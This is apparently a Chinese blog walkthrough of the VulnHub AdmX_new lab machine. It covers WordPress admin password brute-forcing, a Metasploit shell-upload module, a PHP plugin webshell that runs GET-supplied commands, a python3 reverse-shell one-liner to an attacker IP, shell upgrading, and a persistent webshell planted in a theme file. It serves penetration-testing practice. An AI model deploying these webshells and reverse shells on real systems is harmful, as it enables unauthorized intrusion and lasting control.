VulnHub-AdmX_new靶机渗透详解

BearSec

于 2023-06-16 10:00:14 发布

阅读量160

点赞数

分类专栏：靶机练习文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_47372600/article/details/131240961

版权

靶机练习专栏收录该内容

10 篇文章 0 订阅

订阅专栏

前言

靶机地址：https://download.vulnhub.com/admx/AdmX_new.7z
难度：中(2个flag和root权限）
-

信息搜集

扫了一波，只出现了80端口，而且是apache的默认页面

进行目录扫描，得到/wordpress/wp-login.php和/wordpress，这一看是wordpress的后台。开开心心去访问。结果出现下图情况

而且加载速度非常的慢，于是打开f12，看看请求了什么东西

原来对192.168.159.145进行请求，然而我们并没有这个ip，所以请求速度非常慢。再看看wp-login.php的Response

源代码里面有27个对这个ip的请求，那有没有办法把这个ip换成靶机的ip:192.168.41.129呢。这时候献出burp！
来到Proxy下的Options下的Match and Replace，先把里面的所有内容Remove掉。再点击Add，按下图配置


配置完成后

先查看/wordpress里面的内容，发现了admin管理员，猜测存在admin账号。

来到登录页，随便输入账号和密码，提示此用户不存在

再输入admin账号，提示密码错误

所以存在admin账号，接下来就是暴力破解了，可以用kali自带的字典rockyou。字典位置在/usr/share/wordlists/rockyou.txt.gz，这个字典非常的全面和强大。跑了一万年终于出结果了，密码是:adam14

getshell

此靶机getshell有几种方式，我会分开讲

第一种方法

使用msf中的wp_admin_shell_upload

use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.41.129
set username admin
set password adam14
set targeturi /wordpress
run

第二种方法

编辑一个shell.php，内容如下

<?php
/**
Plugin Name: webshell
Plugin URI: https://www.baidu.com/
Description: webshell
Version: 1.0
Author: lion
Author URI: https://www.baidu.com/
License: https://www.baidu.com/
*/

if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

然后压缩成shell.zip，来到Plugins下的Add New，点击install now，上传刚刚的shell.zip。

点击Activate Plugin，激活插件。

木马插件保存在/wordpress/wp-content/plugins/shell.php?cmd=id,可成功命令执行

这里我使用nc和bash都不能反弹shell，而靶机存在python3环境，所以可以使用python 反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.41.130",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

第三种方法

严格来讲不算是新的方法，此方法必须要getshell的基础上再获取一个shell。听起来很怪是吧。本方法的重点是，如何将得到的shell升级成完全交互式的shell。
先查看kali上面是否有/bin/bash,ls /bin/bash，如果没有自己安装，再查看当前的shell使用的shell是不是/bin/bash

我这里是已经配置好的，kali默认的shell是zsh，如果不是输入chsh -s /bin/bash，将当前shell切换成bash。再重启kali即可成功切换成bash。
一切准备就绪后，先按ctrl + z,将获取到的shell放入后台

依次输入以下命令，即可升级成完全交互式shell

stty raw -echo
fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset

编辑此文件vi /var/www/html/wordpress/wp-content/themes/twentytwentyone/index.php
插入一句话木马

蚁剑访问http://192.168.41.129/wordpress/wp-content/themes/twentytwentyone/index.php,即可连接成功

获取到那么多shell的原因是，在真实的渗透测试过程中，通过边界打点成功，获得一个shell这个操作往往是比较困难的。而一旦取得了目标，一定要把这个shell拿牢，不能让它轻易的丢失。如果通过nc获得了反弹shell，又一不小心按到键盘上的ctrl + c的话，这个连接就断了。而必须再次触发此漏洞，再次获取一个反弹shell。多次触发漏洞的话，有可能目标系统，内部的软件环境就已经发生了变化，当你下次还想再次触发这个漏洞，你会发现它就失败了，你就再也没有办法用同一个漏洞，获得反弹shell,你就失去了这个机会。手里必须保证有2-3个shell。